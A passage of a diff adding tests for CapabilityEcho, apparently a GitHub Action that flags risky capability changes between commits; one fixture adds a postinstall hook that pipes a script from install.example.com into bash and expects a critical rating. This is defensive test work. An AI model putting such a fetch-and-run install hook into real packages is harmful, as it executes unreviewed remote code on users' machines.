'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'fail-on-fixture', + private: true, + scripts: { + test: 'vitest', + postinstall: 'curl https://install.example.com/setup.sh | bash' + } + }, + source: "export async function sync() {\n await fetch('https://api.example.com/v1/events');\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'add capability drift'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + const result = await execFileAsync(process.execPath, ['dist/action.js'], { + cwd: packageRoot, + env: { + ...process.env, + INPUT_REPO: repo, + INPUT_BASE: base, + INPUT_HEAD: head, + INPUT_FAIL_ON: 'HIGH', + GITHUB_OUTPUT: outputPath, + GITHUB_STEP_SUMMARY: summaryPath + } + }).then( + ({ stdout, stderr }) => ({ code: 0, stdout, stderr }), + (error) => ({ + code: typeof error === 'object' && error && 'code' in error ? error.code : undefined, + stdout: typeof error === 'object' && error && 'stdout' in error ? String(error.stdout) : '', + stderr: typeof error === 'object' && error && 'stderr' in error ? String(error.stderr) : '' + }) + ); + + assert.equal(result.code, 1); + assert.match(result.stdout, /# CapabilityEcho capability drift: CRITICAL/); + assert.match(result.stdout, /::error::CapabilityEcho capability drift rating critical meets fail-on threshold high\./); + + const outputs = await readFile(outputPath, 'utf8'); + const summary = await readFile(summaryPath, 'utf8'); + assert.match(outputs, /^rating=critical$/m); + assert.match(outputs, /^top-recommendations=/m); + assert.match(summary, /## Top recommendations/); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('JavaScript action reports missing git refs without a stack trace', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-missing-ref-')); + + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + await writeProject(repo, { + packageJson: { + name: 'missing-ref-fixture', + private: true, + scripts: { test: 'vitest' } + }, + source: "export function ok() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + + const result = await execFileAsync(process.execPath, ['dist/action.js'], { + cwd: packageRoot, + env: { + ...process.env, + INPUT_REPO: repo, + INPUT_BASE: 'missing-base-ref', + INPUT_HEAD: 'missing-head-ref', + INPUT_FAIL_ON: 'none' + } + }).then( + ({ stdout, stderr }) => ({ code: 0, stdout, stderr }), + (error) => ({ + code: typeof error === 'object' && error && 'code' in error ? error.code : undefined, + stdout: typeof error === 'object' && error && 'stdout' in error ? String(error.stdout) : '', + stderr: typeof error === 'object' && error && 'stderr' in error ? String(error.stderr) : '' + }) + ); + + assert.equal(result.code, 2); + assert.match(result.stdout, /::error::CapabilityEcho could not compare base 'missing-base-ref' and head 'missing-head-ref'/); + assert.match(result.stdout, /fetch-depth: 0/); + assert.match(result.stdout, /`base` and `head` inputs/); + assert.doesNotMatch(result.stdout + result.stderr, /at mainAction|node:internal|rev-parse/); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + async function writeProject(repo, { packageJson, source }) { await mkdir(join(repo, 'src'), { recursive: true }); await writeFile(join(repo, 'package.json'), `${JSON.stringify(packageJson, null, 2)}\n`, 'utf8'); @@ -127,3 +424,35 @@ async function gitStdout(cwd, ...args) { const { stdout } = await execFileAsync('git', ['-C', cwd, ...args], { encoding: 'utf8' }); return stdout.trim(); } + +function parseGithubOutputs(content) { + const outputs = new Map(); + const lines = content.split(/\r?\n/); + + for (let index = 0; index < lines.length; index += 1) { + const line = lines[index]; + if (!line) { + continue; + } + + const heredocMatch = line.match(/^([^=<>]+)<<(.+)$/); + if (heredocMatch) { + const [, name, delimiter] = heredocMatch; + const valueLines = []; + index += 1; + while (index < lines.length && lines[index] !== delimiter) { + valueLines.push(lines[index]); + index += 1; + } + outputs.set(name, `${valueLines.join('\n')}\n`); + continue; + } + + const equalsIndex = line.indexOf('='); + if (equalsIndex > 0) { + outputs.set(line.slice(0, equalsIndex), line.slice(equalsIndex + 1)); + } + } + + return outputs; +}